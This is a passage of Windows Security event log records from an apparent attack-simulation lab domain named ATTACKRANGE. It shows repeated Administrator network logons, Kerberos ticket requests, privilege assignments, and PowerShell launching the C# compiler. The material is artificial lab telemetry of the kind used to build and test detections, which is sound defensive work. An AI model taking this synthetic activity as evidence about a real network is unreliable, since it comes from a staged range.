	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257835
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257834
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257833
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257832
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E529

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257831
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5502A0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257830
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x550CBA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257829
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E529

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257828
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E529
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257827
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257826
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257825
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257824
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E507

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257823
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E507

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257822
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E507
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257821
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257820
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257819
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257818
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x5543C3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257817
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x553751

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257816
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x552384

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257866
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x56205A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257865
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x56205A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5BC0902A-31C9-47F0-1EC2-83757BEA5599}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257864
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5BC0902A-31C9-47F0-1EC2-83757BEA5599}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257863
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5BC0902A-31C9-47F0-1EC2-83757BEA5599}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257862
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257861
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x127c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES9877.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCB235A348DD004C7FAE449F1E7BF24D7.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257860
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfe4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\1atoc2hq.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257859
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x561262

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257858
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
